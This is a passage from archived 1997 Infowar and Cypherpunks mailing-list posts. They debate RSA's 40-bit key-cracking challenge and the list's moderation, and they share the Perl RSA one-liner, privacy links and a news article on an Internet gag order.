statistically identical to the ordinary noise of microphones and recording
electronics.) A normal 2-hour DAT tape of a recording I made off the radio
or off of one of my CDs can carry 160 megabytes of "data" riding in just
the LSBs alone. That's equivalent to 16 copies of the Bible, or a
significant chunk of the B-2 Stealth bomber CAD database.

I'd like to see your list get involved in more accurate and less
scare-mongering discussions.

--Tim May
Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 00:52:28 -0500 (EST)
From: "Craig H. Rowland" <crowland@psionic.com>
To: "Betty G. O'Hearn" <betty@infowar.com>
Subject: RSA

> Date: Thu, 30 Jan 1997 20:10:36 -0500
> To: "Wright Larry" <Wright_Larry@bah.com>
> From: "Paul A. Strassmann" <paul@strassmann.com>
> Subject: Further to Goldberg's Cracking Accomplishments
> Gentlemen:
>
> As I suspected (see earlier private comment), the
> highly promoted RSA cracking contest offered
> a number of clues that ordinarly would not be
> volunteered by  info-terrorists or info-criminals to
> IW Defense teams.
>
> These clues made the cracking significantly easier,
> because it made it possible to eliminate an enormous
> range of possible searches.

You are talking about implementing security through obscurity. You can
never assume that an enemy does not know what security precautions are in
place to protect information, or in this case, what cipher
you have chosen to protect your data. The security of your in-place
mechanisms should be able to stand on their own merits under a worst
case scenario of full public disclosure.

>
> The following was extracted verbatim from the
> <The RSA Data Security Secret-Key Challenge>
> posted on <http://www.rsa.com/rsalabs/97challenge/>:
>
> Clue #1:
>
>   " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
> will use
>    12-round RC5 with a 32-bit word size. "
>
> Clue #2:
>
>   " ...The first RC5 contest will consist of some unknown plaintext
> encrypted using a 40-bit key;."
>
> Clue #3: (a  giveway!)
>
>  " ... For each contest, the unknown plaintext message is preceded by three
>    known blocks of text that contain the 24-character phrase "The
>    unknown message is:  .....".

Let me address 1, 2, and 3 all together as they all suffer
from the same flaw in logic as discussed above.

First, the ciphers in this contest includes more than RC5, the main
point of the contest is not to illustrate the security of a particular
cipher from cryptanalytic attack, but rather to show that key lengths that
are too short are insecure against a brute force attack. The fact that the
cipher is known does not affect the overall purpose of the contest.

Second, you are again assuming the cipher is unknown by your enemy.
Suppose you are a financial institution, I can be almost 100% assured that
your communications are protected with DES as the cipher. If I can
discover what equipment you are using and what modes the cipher runs in
(CBC, ECB, etc) I can then attempt a similiar brute-force attack using
the widely available DES specifications. Commercial organizations using
exportable software systems suffer the same fate. You are also assuming
that a mathmatical analysis of the encrypted data stream will not reveal
what cipher is being used. Various statistical attacks could reveal key
pieces of information that could quickly unveil what cipher you are using
and what mode it is being run in.

Third, just because part of a message is known does not mean the contest
is invalid. Many network communication protocols use a fixed set of
characters to establish and end communication sessions. An attacker, aware
of how the protocols work, can often discern what a message may contain
when it is initiated. An example of this could include SMTP traffic which
includes a standard set of protocol keywords, or an electronic funds
transfer which includes unique bank identification numbers or other
similar data. This is called a known plaintext attack and is very common.

>
> In summary: The claim of exportable cryptography being totally
> insecure, because it can be cracked in 3.5 hours is not
> realistic. The three clues announced in the contest
> would not apply  under infowar conditions.

Again, this is not correct. You are assuming total ignorance by the enemy
which is rarely the case.

>
> What other clues may have been provided to Goldberg
> to  support private agendas and gain shrill headlines
> is also a matter of speculation, but I rest my case.

Why does one even need a "clue" about this key size? It should be obvious
to anyone remotely educated/interested in the field of cryptography that
the reason the NSA limits exportable key length to 40 bits or less to
begin with is so they can do the same thing at Ft. Meade on their
internal computers that was done here publically.

The whole debate over exportable encryption rarely rests on the cipher,
but rather on the *length* of the keys used. This *alone* should be enough
to convince the reader that key length is in fact a very vital issue for
both the NSA and the Internet community.

> I certainly cannot assert that a 40 bit key cannot be decyphered.
> However, I do not think that the RSA unqualified claims
> offer full and appropriate disclosure.

Nonsense..RSA sells cipher technology that uses both 40 bit encryption and
higher, they make their money either way...their only bias in this area is
that they have their exportable software crippled in such a way as to make
it useless to foreign buyers. Luckily companies in Finland, Switzerland,
and Germany are starting to take up the slack and provide strong
cryptographic products of their own.

-- Craig

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 12:49:25 -0500 (EST)
To: infowar@infowar.com
From: Bob Stratton <strat@wheelgroup.com>
Subject: RSA's Challenge Claims and the Real World


In Infowar Digest Volume 02, Number 04, Paul Strassman writes:

>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.
>
>What other clues may have been provided to Goldberg
>to  support private agendas and gain shrill headlines
>is also a matter of speculation, but I rest my case.
>
>I certainly cannot assert that a 40 bit key cannot be decyphered.
>However, I do not think that the RSA unqualified claims
>offer full and appropriate disclosure.

I feel compelled to respectfully submit what may be considered a rebuttal.
In general, I tend to dismiss claims of anything being "totally" anything,
but in this particular instance, I think further discussion may be warranted.

I admit to being a little surprised by this tack on the part of RSA. RSA
Labs (the research side of that house) has earned my respect over time by
doing serious cryptological work and publishing it in a thoughtful, academic
manner worthy of note.

The histrionics of press releases notwithstanding, I think these comments
merit further examination:

I may concede that the "three clues...would not apply under infowar
conditions". In doing so, I must also ask for further clarification as to
exactly which infowar Mr.Strassman is referring. Given this forum's
consideration of the national security implications of attack on the
financial infrastructure, it seems a fair question.

In any event, I question whether this is relevant within the context of the
challenge, and the purposes behind it. RSA's purpose in posting this
challenge was presumably to enlighten the public and others as to the
_relative_ strength of currently exportable cryptosystems.

I have no doubt that the agenda behind this is to encourage resistance to
current U.S. policies on cryptographic export, a stance designed to maximize
share value in what is admittedly a commercial venture. I'm also willing to
note that I have a general distaste for INFOSEC "challenges" of any sort.

I would, however, like to explore the assertion that the clues posted in the
challenge were not offered in the spirit of full and fair disclosure. I will
concede in any case that this was not an exhaustive, controlled study.
"Challenges" such as these have a place. Within the INFOSEC environment,
cryptanalytic attack appears to be one of the more reasonable areas for them.

Compared to "challenges" against network "firewalls", for example,
cryptanalysis is an area where there is the opportunity to adequately define
the goal and to measure the result. In this case, RSA was not attempting to
prove a negative, as have so many (too many) other firms offering so-called
"challenges".

If we restrict our focus for purposes of argument to commercially available
cryptographic software, the clues become significantly less onerous and
mysterious.

Clue #1, the disclosure of 12-round RC5 with a 32-bit word size, is
certainly the most arcane of the lot. Speaking as a former commercial
software developer, I would be quite surprised if vendors would not
routinely disclose information of this sort. Certainly vendors using
standard algorithms would tend to be more willing to do so than those using
proprietary ones, which only bolsters my later arguments, as you will see
below.

If we may depart for just a moment to other algorithms, almost any
_standard_ implementation of an algorithm which is interoperable with other
implementations would, by definition, disclose or facilitate disclosure of
this sort of information, by its very nature. Again, in a commercial
environment, interoperability is key (no pun intended), so it's likely that
implementation details are either available, or readily deducible.

Clue 2, the disclosure of key size, again meets the standards just
discussed. In the case of products recently exportable from the U.S., one of
two things is generally true. Either the key size is actually 40 bits, or
the key size is larger than 40 bits, but steps are taken to make all key
information beyond 40 bits accessible to observers of the tool. Again, in a
commercial environment, this is no secret.

Clue 3 is perhaps where I'm most inclined to agree with Mr. Strassman.
Disclosure of known plaintext, in this case the phrase "The unknown message
is:" is certainly quite serious in that it may significantly aid
cryptanalytic attack. My only comment here is that in the commercial arena,
interoperability demands standards, and standards define consistent
protocols. Those protocols will almost always result in some manner of
reproducible content, most readily exemplified by message headers in
electronic mail systems. While mechanisms exist for enhanced cryptographic
protection of said content, in general the commercial environment has lagged
behind the military, and perhaps rightly so.

In none of the aforementioned cases, however, do I see information that
fundamentally invalidates the significance of RSA's Challenge TO THE
CIVILIAN  COMMERCIAL INFOSEC COMMUNITY. That community has serious, current
INFOSEC needs, and one must question (as I know many of us do every day) to
what degree we're willing to lay our economic fabric open to subversion in
order to lessen the cost of intelligence collection.

--Bob Stratton
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 9:25:21 -0500 (EST)
From: "A. Padgett Peterson P.E. Information Security"
<PADGETT@hobbes.orl.mmc.com>
To:   infowar@infowar.com
Subject: RSA challenge

Paul rote:
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.
...
>Clue #3: (a  giveway!)

> " ... For each contest, the unknown plaintext message is preceded by three
>   known blocks of text that contain the 24-character phrase "The
>   unknown message is:  .....".

Those who follow my hobby may have noticed that about two years ago I began
using the "3.5 hour" figure to assign a maximun value of $250 to any
information sent via a 40 bit code. The advent of multiple parallel machines
(via networks) capable of operating entirely out of L1 cache just made
the technology available.

However, such attacks do rely on known plain text for speed (final test
is a simple XOR/alarm if zero. The same technology was used in Colossis
back in 1944. It was just a touch slower.

The simle answer is message compression prior to encryption which would
make deciding when the message was broken much more difficult.

Naysayers claim "there is always KPT" but this does not need to be true.
- whole months of Enigma traffic went undecoded because there was no
crib available but eventually human error gave the BP team a clue. Today,
electronic systems can remove such errors from human hands.

Personally believe that 56 bits is "good enough" today though it makes
little sense from a programming standpoint not to use 64 *so long as
a different key is used for every message and every message, no matter
how trivial, is encrypted*.

Or you could use a "shared secret" book code: a simple XOR with a
digital satellite data stream transmitting compressed video should
do nicely. All that is needed is to know which stream and when to
start. I call that an "unwitting key provider".

So as Paul says, the contest proves little except to confirm my 3.5
hour estimate (remember the gentleman in France who broke the 40 bit
NS code last year and what his time was...) - but that was for equipment
available several years ago.

Today I use the figure of one gig kps (keys per second) for 1997 equipment
per seive. A single one would break 40 bits in an average of under 10 min.
DES would fall in a day to 400 in parallel. But the question remains:
without KPT, how can you tell when the break occured ? Is a world of
difference between an XOR and decompression. And if every message uses a
differnt key...

					Warmly,
						Padgett

ps WORD virus anti-virus macro is avaliable: http://www.netmind.com/~padgett/
   under "Anti-Virus hobby". FreeWare.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Tue, 11 Feb 1997 06:41:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting Survey on Computer Security
Message-ID: <199702111441.GAA20245@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This artilce has some interesting info on how bad infosec on the web is.
<http://www.infowar.com/infosec/introduction.html>
---DS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 09:56:18 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Crypto code published in magazines
Message-ID: <199702161756.JAA24302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Gutmann <pgut001@cs.auckland.ac.nz> writes:
> I'm trying to find instances of crypto code published in computer
> magazines i n the last few years.  I know of Blowfish in DDJ, are
> there cases of more mainstream computer mags like Byte publishing
> crypto code (I know Byte did DES in 1977, I'm hoping for something a
> bit more recent)?.

Well this code (an implementation of RSA) appeared in UK Computer
Shopper (largest readership computer mag in UK) by Charlie Stross:


print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


(actually it was some earlier version of the code)

Other media appearances include:

- A picture of the shirt in Nova magazine (a French publication)
- Shirt on Nulle Part Ailleurs (French cabal TV talk show)
- Shirt Japanese edition of Wired 
- Shirt in US version of Wired
- Richard White's tattoo of the program in UK Wired
- Shirt in BBC Open Univ program (educational program on encryption)
- Picture of label with program on New York Times

All of those apart from the last would probably be readable from the
source code, or from the bar code.  [Do KISS do image enhancement
also?  :-)]

(some pics on: 

	http://www.dcs.ex.ac.uk/~aba/shirt/media.html
	http://www.dcs.ex.ac.uk/~aba/rsa/

)

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 06:42:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Consumer Privacy URL...
Message-ID: <199702111442.GAA20364@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Forwarded message:

 In> Subject: Consumer Privacy Online

 In> The January issue of the Computer Law Observer discusses privacy of
 In> online consumer information. The article is called "Your clickstream
 In> is showing" and is based upon a report issued by the FTC in January.

 In> The article can be found under "Current Issue" at
 In> http://www.lawcircle.com/observer

 In> There is also an announcement at the site for a new weekly service
 In> called the Computer Law Observerpro, which provides selected weekly
 In> articles discussing computer, technology and cyberlaw issues.


Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

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jSahFxXH07zFJ3SRPccTB1QnIm2fcoz7f3u+Y0qFTU+y1arsBCSwl/AFtip4ShtQ
jU1zGNnzGMCpxWLJ2gzXkZLAUSZ/RTpph72ByTi3mwczo7hu5I2KCFWrvMSSlxMS
FZEZa3EyOatvrmAD2MSWd3lUKL5ubkwfd717V/Hb5zn7UW4Ri4wDohcxR4zxYnm/
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=Y0C2
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If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gbroiles@netbox.com
Date: Tue, 11 Feb 1997 06:43:19 -0800 (PST)
To: gbroiles@netbox.com
Subject: Proposal: alt.cypherpunks (unmoderated)
Message-ID: <199702111443.GAA20392@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



[This is a courtesy copy of an article posted to Usenet via Deja News]

Some people, including myself, believe that the Cypherpunks mailing list
(cypherpunks@toad.com), running since sometime in 1992, has outgrown the
mailing list format and should move to Usenet. The advantages once gained
by running as a mailing list (faster propagation, more personal/intimate
atmosphere, freedom from Usenet-style flames & spams) are no longer
present. Questions about the appropriateness of moderation, moderator
liability for various "bad" kinds of messages, and the potential for
content control  where there is a single point for distribution have
become very prominent concerns among list members. It's time to move to
Usenet.

Hence, this prelude to a newgroup.  Two cypherpunk-related newsgroups now
exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks
is unsatisfactory to become a destination for Usenet-originated
cypherpunk traffic because its name implies that it's a gateway from a
mailing list. This is presently true, but this proposal is intended to
create a newsgroup which supplements or replaces the current mailing
list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates,
who's in charge of it, or what "jyu.ohjelmointi" is or stands for.
Judging from the limited selection of messages which seem to reach
DejaNews and AltaVista from it, it suffers from relatively poor
propagation.

The cypherpunks mailing list currently has approximately 1300
subscribers, sees traffic between 30 and 70 messages per day (est.), and
on its better days discusses technological defenses for privacy in an
information age. Popular topics include encryption, legal issues around
encryption and export control, and the relationship between technology
and social control.

A sample line for the newsgroups file:

alt.cypherpunks  Technological defenses for privacy

-------------------==== Posted via Deja News ====-----------------------
      http://www.dejanews.com/     Search, Read, Post to Usenet





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 06:44:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military/Intelligence URL
Message-ID: <199702111444.GAA20493@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Here an page, that deals with various intelligence and military
institutions...


 In> Subject: GOVT> AJAX, Government and Military Intelligence

 In> http://204.180.198.56:80/ajax/ajax.htm

 In> United States and International Government Military and Intelligence
 In> Agency Access

 In> Certain Locations Or Sections Thereof May Be Closed To
 In> Unauthorized Use.
 In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM.
 In> (If You Prefer A Frameless Environment, Click HERE.)
 In> Last update: 7 FEBRUARY 1997. All accesses verified at
 In> time of inclusion.

 In> CIA                  Central Intelligence Agency
 In> DIA                  Defense Intelligence Agency
 In> NRO                  National Reconnaissance Office
 In> NSA                  National Security Agency
 In> SS                   Secret Service
 In> USCSOI               U.S. Customs Service Office of Investigation

 In> ATF                  Bureau of Alcohol, Tobacco and Firearms
 In> BOP                  Federal Bureau of Prisons
 In> CID                  U.S. Army Criminal Investigation Command
 In> COURTS               U.S. Federal Courts
 In> FBI                  Federal Bureau of Investigation
 In> FINCEN               Financial Crimes Enforcement Network
 In> FLETC                Federal Law Enforcement Training Center
 In> MARSHALS             U.S. Marshals Service
 In> NIJ                  National Institute of Justice
 In> ACC                  Air Combat Command
 In> AFSPC                Air Force Space Command
 In> BMDO                 Ballistic Missile Defense Organization
 In> DEFENSE              Defense Department
 In> DISA                 Defense Information Systems Agency
 In> DRMS                 Defense Reutilization and Marketing Service
 In> DTIC                 Defense Technical Information Center
 In> JCS                  Joint Chiefs of Staff
 In> NAVWAN               Naval Aviation Systems Team Wide Area Network
 In> NAWCWPNS             Naval Air Warfare Center Weapons Division
 In> NSWC                 Naval Surface Warfare Center
 In> USAFA                United States Air Force Academy

 In> AHPCRC               Army High Performance Computing Research Center
 In> ARPA                 Advanced Research Projects Agency
 In> LABLINK              U.S. Department of Defense Laboratory System
 In> NRL                  The Naval Research Laboratory RL
 In> USAF                 Rome Laboratory for C41 Technology
 In> USACIL               U.S. Army Criminal Investigation Laboratory

 In> NATGUARD             Army and Air National Guards
 In> USA                  United States Army
 In> USAF                 United States Air Force
 In> USCG                 United States Coast Guard
 In> USMC                 United States Marine Corps
 In> USN                  United States Navy

 In> EPA                  U.S. Environmental Protection Agency
 In> FAA                  Federal Aviation Administration Technical Center
 In> FCC                  Federal Communications Commission
 In> FTC                  Federal Trade Commission
 In> NMFS                 National Marine Fisheries Service
 In> NRC                  Nuclear Regulatory Commission
 In> SEC                  Securities and Exchange Commission
 In> CDC                  Centers for Disease Control and Prevention
 In> CENSUS               U.S. Department of Commerce Bureau of the Census
 In> CONGRESS             U.S. House of Representatives
 In> CUSTOMS              U.S. Customs Service
 In> DOE                  U.S. Department of Energy  National Laboratories
 In> & Programs
 In> EXECUTIVE            The White House
 In> FDIC                 Federal Deposit Insurance Corporation
 In> FEMA                 Federal Emergency Management Agency
 In> FMS                  Financial Management Service
 In> GPO                  U.S. Government Printing Office
 In> GSA                  U.S. General Services Administration
 In> HHS                  U.S. Department of Health and Human Services
 In> HPCC                 NOAA High Performance Computing and
 In> Communications IRS                  Internal Revenue Service
 In> JUSTICE              Justice Department
 In> NARA                 National Archives and Records Administration
 In> NASA                 National Aeronautics and Space Administration
 In> NCDC                 National Climatic Data Center
 In> NIMH                 National Institute of Mental Health
 In> NOAA                 National Oceanic & Atmospheric Administration
 In> NSF                  National Science Foundation
 In> NTIS                 National Technical Information Service
 In> SBA                  Small Business Administration
 In> SEL                  Space Environment Laboratory
 In> STATE                State Department
 In> TREASURY             Treasury Department
 In> USCODE               U.S. House of Representatives
 In> Internet Law Library U.S. Code

 In> CANADA
 In> CSE                  Communications Security Establishment
 In> CISC                 Criminal Intelligence Service Canada
 In> CSIS                 Canadian Security Intelligence Service
 In> SIRC                 Security Intelligence Review Committee
 In> UNITED KINGDOM       CIM Central Intelligence Machinery

 In> CANADA
 In> DJC                  Department of Justice of Canada
 In> FORENSIC             The Forensic Web
 In> RCMP                 Royal Canadian Mounted Police
 In> SGC                  Solicitor General of Canada

 In> UNITED NATIONS       UNCPCJ United Nations Crime Prevention &
 In> Criminal Justice

 In> CANADA
 In> CFC                  Canadian Forces College
 In> DREO                 Defense Research Establishment, Ottawa

 In> UNITED KINGDOM
 In> ARMY                  The British Army
 In> CDA                   Centre for Defence Analysis
 In> DRA                   Defence Research Agency

 In> NATO                  North Atlantic Treaty Organization
 In> SACLANT               Supreme Allied Commander, Atlantic
 In> SHAPE                 Supreme Headquarters Allied Powers Europe

 In> BECCA                 Business Espionage Controls & Countermeasures
 In> Association
 In> CRYPTOLOG             Internet Guide to Cryptography
 In> DCJFTF                Washington, D.C. Joint Fugitive Task Force
 In> WANTED                "The World's Most Wanted" (Fugitives and
 In> Unsolved Crimes)


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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=s4om
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If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 05:40:51 -0800 (PST)
To: gnu@toad.com
Subject: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111340.FAA18603@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer.  He never anticipated that he wouldn't be able to
follow his announced "post it to one list or the other" policy because
to do so would make him legally liable (in his opinion; he's a lawyer,
I'm not).  His gears jammed, and the whole machine came to a halt for
a few days.

Sandy has agreed to continue moderation through the end of the
original 1-month experiment (through Feb 19).  And it's a good thing,
too, because the "cypherpunks community" had better get off its
whining butt in the next ten days, or it will no longer exist.

I've come to the conclusion that I'm not willing to host the
cypherpunks list any more.  It's not the true assholes that brought me
to this decision; it's the reaction from the bulk of people on the
list: suspicion, flamage, and criticism with every attempt to improve
things.  I noticed few people volunteering some of their own time,
money, or machines to help out.  Almost all the suggestions were
advice for *other* people to implement:

                One would have thought that had Sandy and John really
    been interested in hearing the views of list members, this approach would
    have eventually won out.

    a supposedly libertarian and anarchistic group of people has decided
    that censorship is the right solution to their problems.

							I'd prefer
    for the cypherpunks _name_ not be associated with a moderated/censored
    list. (I mean no insult to either Sandy or John in this, BTW... I
    simply think that they've gone about this the wrong way.

    If one is going to advocate free speech, I strongly suggest one
    learns to deal with one's own greed and one's own need for power
    first.

    For those who want it, let someone moderate the list for as long as
    they care to do it. Approved messages get a "X-sandy-approved"
    header.

    ... the vast majority are still shipped out as 'Sender:
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed
    out in my original post). to me that is piss poor list management.

        however you slice it, censorship on a freedom of speech list
    just does not make it and we make fools of ourselves if we think
    otherwise.

Now each of these posters will get their chance to do it "right" --
on their own time and with their own resources.

A large fraction of the list seems to think that "freedom of speech"
means that everyone is required to listen to everyone else at all
times.  That there can't be focused, topical conversations in a
society that has freedom of speech.  I would say the opposite; part of
freedom of speech is the freedom to choose to whom we speak and to
whom we listen.  This is part of what cryptography does: lets us
control who can receive our speech, and lets recievers determine who
the speaker is.

There also seems to be a misunderstanding that freedom of speech
requires that people who want to speak already have a place, set up
and maintained by someone else, for them to speak in.  If someone
who's set up a speech-place decides it isn't being used for its
intended purpose, then they are a censor, stopping all possibility of
conversations.  Did you forget that there are millions of other places
to speak in cyberspace, millions more in realspace, and that you can
personally create more if you don't like any of the ones you know about?
To paraphrase Zappa, you wouldn't know censorship if it bit you on the
ass.  You think you're being censored when you're just being excluded
from a forum because what you're saying isn't interesting to that forum.

So anyway, I'm tired of it all.  I'd much rather focus on getting my
crypto work done than babysitting majordomo, tracking down attempts to
subscribe the entire US Congress to the list, and debating the seventy
or eighty "obvious right ways" to handle the list.

This is a "put up or shut up" to the cypherpunks community.

Either you list denizens will, among yourselves, put in the energy to
build a new home for the list (and run it in whatever way your
volunteers want) by Feb 20, or the list will cease to exist on Feb 20.

The next ten days of moderated discussion, through the end of the
original experiment, will give the community a chance to discuss
whether and where it plans to host the list after the experiment is
over.  My feeling is that the stalkers who have been trying to shut it
down (Dimitri, etc) will be out in full force, trying to disrupt the
process of finding a new home.  It would be very hard to make progress
along that line in an unmoderated list.  Cypherpunks-unedited readers
are welcome to try.

Sandy reports that he's changing his criteria for moderation for the
remainder of the experiment.  It was his idea, and I approve.  The
criteria now are:

	*  The topics of the list are:
		cryptography
		setting up replacements for cypherpunks@toad.com
	*  On-topic, legal, posts will go to the list.
	*  Postings with any hint of legal liability (in Sandy's opinion)
	   will be silently ignored.
	*  Legal but off-topic posts will go to cypherpunks-flames.

Sandy will apply these criteria retroactively to the backlog (of about
140 messages), which means that most recent criticisms of the
moderation (which don't invove someone volunteering to do things for
the list) will go straight to the flames list.  If you don't like it,
I recommend that you start your own list.  Soon.

For me it's a sad thing that the community's willingness to pull
together has degenerated to the point where I feel better off
separating from the list.  I hope that others in the community will
create one or several alternatives that work better.

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl7.crl.com>
Date: Tue, 11 Feb 1997 06:58:30 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111458.GAA20705@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

You have probably just read John's post.  I truly hope YOU (each
and every one of you) can rise to his challenge.  If you have 
offered nothing in the past but criticism, it's now time to get a
bit more real.  What will it be, your money, time, equipment?

I would hope that the loudest advocates of "free speech" turn out
to be the most generous, but I'm not holding my breath.  Maybe 
the solution(s) will come from you lurkers.  I hope you can put
down your beer long enough to get involved.

Finally, if anyone wants to discuss why the Cypherpunk list has
come to this, or what I did right or wrong as a moderator, let's
talk about--on the new list(s) YOU create.  For now, though, it's
off-topic.  We have work to do.


 S a n d y

P.S.	To all those people who privately supported me in
	my attempt to help the list deal with its problems,
	thank you.  I wouldn't have come back without your
	and John's encouragement.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 11 Feb 1997 09:03:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Indiana judge extends gag order to the Net, from TNNN
Message-ID: <199702111703.JAA22485@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 11 Feb 1997 06:31:28 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Indiana judge extends gag order to the Net, from TNNN

The Netly News Network
http://netlynews.com/

   Gag On This 
   by Declan McCullagh (declan@well.com)
   February 10, 1997
   
        The point of moving a trial or selecting a jury from a distant
   county is, of course, to prevent jurors from being influenced by the
   local media and opinions of the nearby community. But what if the
   media are global and the community is virtual?
   
        That enigma is causing problems for an Indiana couple on trial
   for reckless homicide in the November 1995 death of their son from    
   meningitis. Bill and Sarah Planck had hoped to demonstrate their
   innocence through the Net, and so another son created a web site with
   documents from a counter-lawsuit filed against the county welfare
   agencies and sheriff's department, detailing how police threatened and
   intimidated the family.

        Now the judge presiding over their criminal trial has ordered the
   Plancks to pull the plug on the site.

        Madison County judge Fredrick Spencer told me he extended an
   existing gag order to the Internet because the tort claim notice could
   influence jurors. "We went two counties away to get the jury. But
   people in Randolph County have computers and America Online. So to
   avoid any possible problem, I ordered them to take it off," Spencer
   said.

        Spencer says the order was necessary to preserve the integrity of
   the trial. "It's only the trial that I'm concerned with," he said. "If
   I don't do what I can, I risk having to do [the trial] over again."

        Yet as soon as the Plancks yanked the documents offline on
   January 27, copies sprouted on the web site of a supporter -- beyond
   the reach of Judge Spencer.

        Who's right, Spencer or the Plancks? I posed that question to
   David Post, a professor at Georgetown Law School. "Gag orders may in a
   way be a thing of the past," he replied.

       "It becomes an enforcement dilemma with respect to the Internet.
   It's a hell of a lot easier to enforce that gag order [locally]. You
   really only have to keep your eye on a very small number of
   dissemination vehicles," Post said. "Gag orders are violated on
   occasion, but by and large you have some confidence that they'll be
   respected. Obviously you can't anymore."

        Gag orders stem from the right to an impartial jury. "We think
   that sometimes -- rarely, but sometimes -- that can best be
   accomplished by controlling the kind of information potential jurors
   might see. The Net deforms the landscape," Post said.

        Katharine Liell, the Plancks' attorney, was reluctant to discuss
   the case for fear of violating the gag order -- which covers her as
   well. "I'm uncertain what I can and can't say due to the vagueness of
   the gag order," she said. "Gag orders are supposed to be specific in
   nature, but I don't understand the nature or breadth of this gag order
   so I'm not comfortable commenting at this time."
   
        The legal question at issue in this prosecution is whether the
   Plancks are guilty of four felony charges, including reckless homicide
   and involuntary manslaughter, in the death of Lance Planck from    
   pneumococcal meningitis. The verdict may depend on the answer to one  
   question: Did the Plancks wait too long to call 911? More than the
   couple, however, is on trial. The case also reveals how a child      
   protection agency can be used as a weapon to threaten parents and
   divide a family. The mirrored documents tell a sad story of a poor    
   family who lived in a trailer park and home-schooled their eight
   children, and their long-standing battle with Madison County social
   workers. 
   
        The first salvo came in 1992, when a social worker visited the
